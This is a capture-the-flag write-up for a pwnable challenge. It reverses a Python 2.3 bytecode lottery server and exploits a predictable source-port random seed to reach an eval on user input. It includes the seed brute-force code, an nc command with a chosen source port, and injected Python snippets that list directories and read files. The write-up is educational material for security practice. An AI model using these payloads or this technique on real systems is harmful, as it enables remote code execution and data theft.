Pwtent Pwnables 200

Summary

Question

Running on pwn8.ddtek.biz. Enjoy

Files

Local mirror

Summary

Legacy decompilation and exploits

Flag

??

Walkthrough

$ file pp200_73774703181e8703d24.bin 
pp200_73774703181e8703d24.bin: python 2.3 byte-compiled

First thing we tried was compiling and installing Python 2.3 (Ubuntu 10.4 doesn't have packages anymore and it doesn't take that long) and using the dis module to read the bytecode, but reversing that got a little tedious. We also ran it locally to find out that it binds to port 10024:

$ python2.3 pp200_73774703181e8703d24.bin &
$ netstat -plt | grep python2.3
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 *:10024                 *:*
LISTEN      15319/python2.3
s$ nc localhost 10024
Welcome to lottod good luck!
Your random picks are:
0. 166491
1. 666736
2. 679376
3. 238697
4. 703115
Input the number of the pick that you wish to change or newline to stop:
0
Input your new pick
12
Input the number of the pick that you wish to change or newline to stop:
Thanks for your choices, calculating if you won...Sorry you aren't very lucky... Maybe you have better luck with women?

We ran it a few times and tried changing things, to no avail. Back to reversing! Google found us decompyle, and at that point it was getting late and we had issues getting it to work with the hand-installed Python 2.3, so I installed Ubuntu Intrepid in a VM and ran decompyle on the file. This got us something pretty close to the original Python code (we retrieved the original Python code later). Interesting points.

  1. The random seed used is the source port of the requester (see handle).
  2. The entry of a new pick works like self.lotto_grid[self.pick_list[idx_to_edit]] = l, which is a bit odd (see handlePickChange).
  3. The pick list is generated by pickRandom, which pretty much just uses random.randint.
  4. It calls eval(self.lotto_grid[0])(self.lotto_grid[1:]) to check if you won (see playGame).

Looks like we've got an eval on user input if 0 shows up in the pick_list, and we control the random seed used to generate it! We modified the client to do our dirty work for us with the following changes:

    def handle(self):
#        rand_seed = self.request.getpeername()[1]
        rand_seed = 1024
        self.connstream_fobj = self.request.makefile()
        self.pick_list = []
        while 0 not in self.pick_list and rand_seed < 65536:
            random.seed(rand_seed)
#            self.request.send('Welcome to lottod good luck!\n')
            self.lotto_grid = self.genGrid()
            self.pick_list = list(self.pickRandom())
            rand_seed += 1
            print 'seed', rand_seed
        print 'found seed:', rand_seed

if (__name__ == '__main__'):
#    doFork(0)
#    chdir('/')
#    setsid()
#    umask(0)
#    doFork(1)
    runServer()

Now if we netcat to the local server, it prints a bunch of seeds before stopping at 28742. So, we should use the source port 28741 (there's an error in the modified script, oops):

$ nc localhost 10024 -p 28741
Welcome to lottod good luck!
Your random picks are:
0. self.checkWinners
1. 321358
2. 144737
3. 447310
4. 63867
Input the number of the pick that you wish to change or newline to stop:
0
Input your new pick
self.request.send('hello')
Input the number of the pick that you wish to change or newline to stop:

Thanks for your choices, calculating if you won...hello$

Seems to be working. Now, we can poke around the server with the following snippets:

self.request.send(str(__import__('os')).listdir('.'))
self.request.send(open('foo', 'r').read())

Not as pretty as a full shellcode (and there's a timeout in the script), but it gets the job done. We checked the user's and/or root's home directory to no avail (although we did find the original source, as noted above), and finally found /tmp/abc123, which contained the key. Unfortunately, we forgot to write it down...